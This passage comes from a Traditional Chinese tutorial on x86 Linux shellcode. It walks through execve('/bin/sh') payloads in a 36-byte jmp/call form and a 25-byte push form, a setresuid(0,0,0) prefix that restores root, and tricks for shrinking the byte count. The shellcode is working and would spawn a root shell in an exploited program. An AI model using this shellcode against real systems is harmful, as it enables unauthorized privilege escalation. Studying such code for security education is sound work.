學會做系統呼叫、避開 null 位元組後,各種 shellcode 都能構造了。要生成 shell,只需做系統呼叫執行 /bin/sh。
execve() 系統呼叫#
系統呼叫 11 號 execve() 類似前幾章用過的 C execute():
int execve(const char *filename, char *const argv[], char *const envp[]);- filename:指向要執行的字串
"/bin/sh"。 - argv:引數陣列,必須 null 終止,且須含字串指標(第 0 個引數是程式名稱)。
- envp:環境陣列,可空但仍須以 32 位元 null 指標終止。
用 lea 在記憶體中建構引數#
要在組合語言中做這件事,引數與環境陣列得在記憶體中建好,"/bin/sh" 字串也要 null 終止。
jmp short two
one:
pop ebx ; ebx 得到字串位址
xor eax, eax
mov [ebx+7], al ; null 終止 /bin/sh 字串
mov [ebx+8], ebx ; 把字串位址放到 AAAA 處
mov [ebx+12], eax ; 32 位元 null 終止符放到 BBBB 處
lea ecx, [ebx+8] ; argv 指標載入 ecx
lea edx, [ebx+12] ; envp 指標載入 edx
mov al, 11 ; syscall #11
int 0x80
two:
call one
db '/bin/shXAAAABBBB' ; XAAAABBBB 位元組其實不需要越小越好#
shellcode 需被注入程式記憶體某處,越小的 shellcode 越能用在緩衝區更緊的情境。上面移除視覺輔助的
XAAAABBBB後是 36 位元組。
用 push 建構(25 位元組)#
重新設計、更有效率地用暫存器可再縮小。ESP 是堆疊指標;push 時 ESP 上移(減 4)、值放到堆疊頂。用 push 直接在堆疊上建構結構:
; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
xor eax, eax ; 清零 eax
push eax ; push null 作字串終止
push 0x68732f2f ; push "//sh"
push 0x6e69622f ; push "/bin"
mov ebx, esp ; "/bin//sh" 位址放進 ebx
push eax ; push 32 位元 null 終止符
mov edx, esp ; envp 空陣列
push ebx ; push 字串位址
mov ecx, esp ; argv 陣列
mov al, 11 ; syscall #11
int 0x80在堆疊上建 null 終止字串
"/bin//sh",多出的斜線不影響、實際上被忽略。結果只有 25 位元組(相較 jmp/call 法的 36 位元組)。
權限問題#
為緩解權限提升,有些特權程序在做不需高權限的事時會降低有效權限,用 seteuid() 設定有效使用者 ID。
用 setresuid() 恢復權限#
所幸可在 shellcode 開頭系統呼叫恢復 root 權限。最完整的方式是 setresuid()(syscall 164),同時設定真實、有效、已存的使用者 ID:
; setresuid(0, 0, 0) 恢復所有 root 權限
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0xa4 ; syscall #164
int 0x80
; 接著才 execve 生成 shell這樣一來,即使程式在降權狀態下被利用,shellcode 也能先把權限恢復成 root,再生成 shell。
再更小一點#
兩個省位元組的技巧:cdq 與 push/pop
cdq(convert doubleword to quadword) 是單位元組指令:它從 EAX 取來源、把符號位元延伸到 EDX:EAX。若 EAX 的符號位元是 0,cdq 就把 EDX 清零:
31 D2 xor edx,edx ; 兩位元組
99 cdq ; 一位元組(若 eax 已清零)用堆疊清零暫存器:堆疊是 32 位元對齊的,push 單位元組值會對齊成 doubleword,pop 出來時符號延伸填滿整個暫存器:
31 C0 B0 0B xor eax,eax / mov al,0xb ; 四位元組
6A 0B 58 push byte +0xb / pop eax ; 三位元組這些技巧組譯出的正是前幾章使用的那段 shellcode。push 單位元組需宣告大小:BYTE(1)、WORD(2)、DWORD(4),這些常可由暫存器寬度隱含(mov al 隱含 BYTE)。